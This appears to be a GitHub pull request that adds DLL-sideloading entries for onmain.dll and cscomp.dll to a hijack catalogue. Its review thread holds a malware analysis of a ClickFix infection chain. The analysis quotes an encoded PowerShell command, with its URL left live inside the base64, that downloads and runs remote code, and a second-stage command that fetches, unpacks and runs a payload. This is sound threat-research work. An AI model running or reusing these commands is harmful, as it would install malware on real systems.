Create onmain #122
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,28 @@ | ||
| --- | ||
| Name: cscomp.dll | ||
| Author: Ben | ||
| Created: 2025-08-31 | ||
| Vendor: Microsoft | ||
| ExpectedLocations: | ||
| - 'C:\Windows\Microsoft.NET\Framework\%VERSION%' | ||
| - 'C:\Windows\Microsoft.NET\Framework64\%VERSION%' | ||
| VulnerableExecutables: | ||
| - Path: 'C:\Windows\Microsoft.NET\Framework\%VERSION%\csc.exe' | ||
| Type: 'Sideloading' | ||
| SHA256: | ||
| - e7bcbad88b3728333967bf59722459a6bb99b11548f83f3860eedc1cbfc57caa | ||
| ExpectedVersionInformation: | ||
| - CompanyName: 'Microsoft Corporation' | ||
| FileDescription: 'Visual C# Command Line Compiler' | ||
| FileVersion: '8.0.50727.8745 (WinRel.050727-8700)' | ||
| InternalName: 'csc.exe' | ||
| LegalCopyright: '© Microsoft Corporation. All rights reserved.' | ||
| OriginalFilename: 'csc.exe' | ||
| ProductName: 'Microsoft® Visual Studio® 2005' | ||
| Acknowledgements: | ||
| - Name: 'Ben' | ||
| Company: 'Huntress' | ||
| Twitter: '@polygonben' | ||
| - Name: 'Anna' | ||
| Company: 'Huntress' | ||
| Twitter: '@RussianPanda9xx' |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,25 @@ | ||
| --- | ||
| Name: onmain.dll | ||
| Author: Ben Folland | ||
| Created: 2025-05-12 | ||
| Vendor: Microsoft | ||
| ExpectedLocations: | ||
| - '%PROGRAMFILES%\Microsoft Office\Office%VERSION%' | ||
| - '%PROGRAMFILES%\Microsoft Office\Root\Office%VERSION%' | ||
| - '%PROGRAMFILES%\Microsoft Office %VERSION%\ClientX86\Root\Office%VERSION' | ||
| - '%PROGRAMFILES%\Microsoft Office %VERSION%\ClientX64\Root\Office%VERSION%' | ||
| VulnerableExecutables: | ||
| - Path: '%PROGRAMFILES%\Microsoft Office\Office%VERSION%\OneNote.exe' | ||
| Type: Sideloading | ||
| SHA256: | ||
| - '97597a20a5f03bc1dc0d4a4b75d0026dfad79291e33ea72103abf85d0e2c6f19' | ||
| Resources: | ||
| - https://www.virustotal.com/gui/file/73670defa750d0a09470356279494a0c947245229d283c42e7ef0f2b8427b847 | ||
| - https://www.virustotal.com/gui/file/5678aa39bf8e3ce94b8a9c47623ae0900794ba9950c02d23e251099a3811bac7 | ||
| Acknowledgements: | ||
| - Name: Ben Folland | ||
| Twitter: '@polygonben' | ||
| Company: Huntress | ||
| - Name: Amelica Casley | ||
| Twitter: '@pe4Chscreeching' | ||
| Company: Huntress | ||
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,28 @@ | ||
| --- | ||
| Name: cscomp.dll | ||
| Author: Ben | ||
| Created: 2025-08-31 | ||
| Vendor: Microsoft | ||
| ExpectedLocations: | ||
| - 'C:\Windows\Microsoft.NET\Framework\%VERSION%' | ||
| - 'C:\Windows\Microsoft.NET\Framework64\%VERSION%' | ||
| VulnerableExecutables: | ||
| - Path: 'C:\Windows\Microsoft.NET\Framework\%VERSION%\csc.exe' | ||
| Type: 'Sideloading' | ||
| SHA256: | ||
| - e7bcbad88b3728333967bf59722459a6bb99b11548f83f3860eedc1cbfc57caa | ||
| ExpectedVersionInformation: | ||
| - CompanyName: 'Microsoft Corporation' | ||
| FileDescription: 'Visual C# Command Line Compiler' | ||
| FileVersion: '8.0.50727.8745 (WinRel.050727-8700)' | ||
| InternalName: 'csc.exe' | ||
| LegalCopyright: '© Microsoft Corporation. All rights reserved.' | ||
| OriginalFilename: 'csc.exe' | ||
| ProductName: 'Microsoft® Visual Studio® 2005' | ||
| Acknowledgements: | ||
| - Name: 'Ben' | ||
| Company: 'Huntress' | ||
| Twitter: '@polygonben' | ||
| - Name: 'Anna' | ||
| Company: 'Huntress' | ||
| Twitter: '@RussianPanda9xx' | ||
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What's the relevance of this hash in relation to
onmain.dll?There was a problem hiding this comment.
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This wasn't relevant. This was the binary that loaded onmain.dll
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VirusTotal is showing it as a malicious
mfc100u.dllrather than a trusted executable, I'm still confused as to what the relation isThere was a problem hiding this comment.
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Hi,
I'm not too sure why I included it - it doesn't appear related at all. Here is the breakdown of the execution chain that led to the DLL hijacking:
Stage 1 (ClickFix):
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" /ep bypass /enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzAGUAZQAuAGkAbwAvADcAagBwAGYAYwB1ACcAKQB8AEkARQBYAA== /W 1
(new-object Net.WebClient).DownloadString('hxxps://psee[.]io/7jpfcu')|IEX
Stage 2 (Further Pwsh):
We can see this URL redirects to secondary domain to pull back the 2nd stage PowerShell payload:
hxxps://psee[.]io/7jpfcu -> redirects to -> cromatsfewbears.top/barbara/bens:
Invoke-WebRequest -Uri "hxxps://bitly[.]cx/XaqK" -OutFile "$env:TEMP\collectionreserch.zip"; Expand-Archive -Path "$env:TEMP\collectionreserch.zip" -DestinationPath "$env:TEMP"; & "$env:TEMP\s1clubcollection\C-Alp16.exe"
Stage 3 (Renamed OneNote.exe ran)
We can see the URL redirects to:
hxxps://bitly[.]cx/XaqK -> redirects to -> hxxps://septembergoodwine[.]top/fatality/frenderic downloading below .zip
collectionreserch.zip
MD5 (C-Alp16.exe) = 474ca98328d98ac1f8b4a0aa88b5dcf8 - Legitimate OneNote.exe
MD5 (Crookmutmoung.pgvk) = d41cd0f49d17aa1b9dc0a30fd78fd25a
MD5 (ONMAIN.DLL) = 702e8eb832e3831cadf42b4d725af23f -> Likely sideloaded!
MD5 (Pratshib.vi) = 448c6c7adeb8423f653f46d2f8e8230d
MD5 (msvcp90.dll) = 6d4e6fdb62660d81a6d7cd0144fa8fa4 - Legitimate
MD5 (msvcr90.dll) = ecbbed2f44afb22ba1f9ef8603c261b5 - Legitimate